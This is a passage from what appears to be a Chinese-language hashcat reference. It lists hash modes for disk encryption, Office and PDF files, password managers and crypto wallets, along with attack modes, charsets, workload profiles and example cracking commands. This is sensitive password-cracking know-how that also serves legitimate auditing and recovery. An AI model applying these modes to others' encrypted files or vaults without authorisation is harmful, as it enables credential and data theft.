X | 1 = PBKDF2-HMAC-RIPEMD160 | 全盘加密(FDE) |
X | 2 = PBKDF2-HMAC-SHA512 | 全盘加密(FDE) |
X | 3 = PBKDF2-HMAC-Whirlpool | 全盘加密(FDE) |
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | 全盘加密(FDE) |
X | 5 = PBKDF2-HMAC-SHA256 | 全盘加密(FDE) |
X | 6 = PBKDF2-HMAC-SHA256 + boot-mode | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure AES | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Serpent | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Serpent | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded AES-Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Serpent-AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | 全盘加密(FDE) |
Y | 3 = XTS 1536 bit all | 全盘加密(FDE) |
14600 | LUKS | 全盘加密(FDE) |
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | 文档 |
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | 文档 |
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | 文档 |
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | 文档 |
9810 | MS Office <= 2003 $3/$4, SHA1 + RC4, collider #1 | 文档 |
9820 | MS Office <= 2003 $3/$4, SHA1 + RC4, collider #2 | 文档 |
9400 | MS Office 2007 | 文档 |
9500 | MS Office 2010 | 文档 |
9600 | MS Office 2013 | 文档 |
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | 文档 |
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | 文档 |
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | 文档 |
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | 文档 |
10600 | PDF 1.7 Level 3 (Acrobat 9) | 文档 |
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | 文档 |
9000 | Password Safe v2 | 密码管理软件 |
5200 | Password Safe v3 | 密码管理软件 |
6800 | LastPass + LastPass sniffed | 密码管理软件 |
6600 | 1Password, agilekeychain | 密码管理软件 |
8200 | 1Password, cloudkeychain | 密码管理软件 |
11300 | Bitcoin/Litecoin wallet.dat | 密码管理软件 |
12700 | Blockchain, My Wallet | 密码管理软件 |
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | 密码管理软件 |
99999 | Plaintext | Blockchain明文,我的钱包 |
③ 输出格式
编号 | 格式 |
---|---|
1 | hash[:salt] |
2 | plain |
3 | hash[:salt]:plain |
4 | hex_plain |
5 | hash[:salt]:hex_plain |
6 | plain:hex_plain |
7 | hash[:salt]:plain:hex_plain |
8 | crackpos |
9 | hash[:salt]:crack_pos |
10 | plain:crack_pos |
11 | hash[:salt]:plain:crack_pos |
12 | hex_plain:crack_pos |
13 | hash[:salt]:hex_plain:crack_pos |
14 | plain:hex_plain:crack_pos |
15 | hash[:salt]:plain:hex_plain:crack_pos |
④ 调试模式规则
编号 | 格式 |
---|---|
1 | 查找规则 |
2 | 原始词 |
3 | 原始词:查找规则 |
4 | 原始词:查找规则:已处理词 |
⑤ 攻击模式
编号 | 模式 |
---|---|
0 | 直接 |
1 | 组合 |
3 | 暴力穷举 |
6 | 混合 字典 + 掩码 |
7 | 混合 掩码 + 字典 |
⑥ 内置字符集
? | 字符集 | |
---|---|---|
l | abcdefghijklmnopqrstuvwxyz | |
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | |
d | 0123456789 | |
h | 0123456789abcdef | |
H | 0123456789ABCDEF | |
s | !"#$%&'()*+,-./:;<=>?@[]^_`{ | }~ |
a | ?l?u?d?s | |
b | 0x00 - 0xff |
⑦ OpenCL设备类型
编号 | 设备类型 |
---|---|
1 | CPU |
2 | GPU |
3 | 现场可编程门阵列(FPGA),数字信号处理器(DSP),协处理器(Co-Processor) |
⑧ 工作负载配置文件
编号 | 性能 | 运行时间 | 能量消耗 | 桌面影响 |
---|---|---|---|---|
1 | 低 | 2 ms | 低 | 最小 |
2 | 默认 | 12 ms | 经济型 | 可察觉 |
3 | 高 | 96 ms | 高 | 没有反应 |
4 | 噩梦 | 480 ms | 疯狂的 | 无法控制 |
⑨ 基本用例
攻击模式 | Hash种类 | 示例命令 |
---|---|---|
字典 | \(P\) | hashcat -a 0 -m 400 example400.hash example.dict |
字典+规则 | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule |
暴力穷举 | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a |
组合 | MD5 | hashcat -a 1 -m 0 example0.hash example.dict example.dict |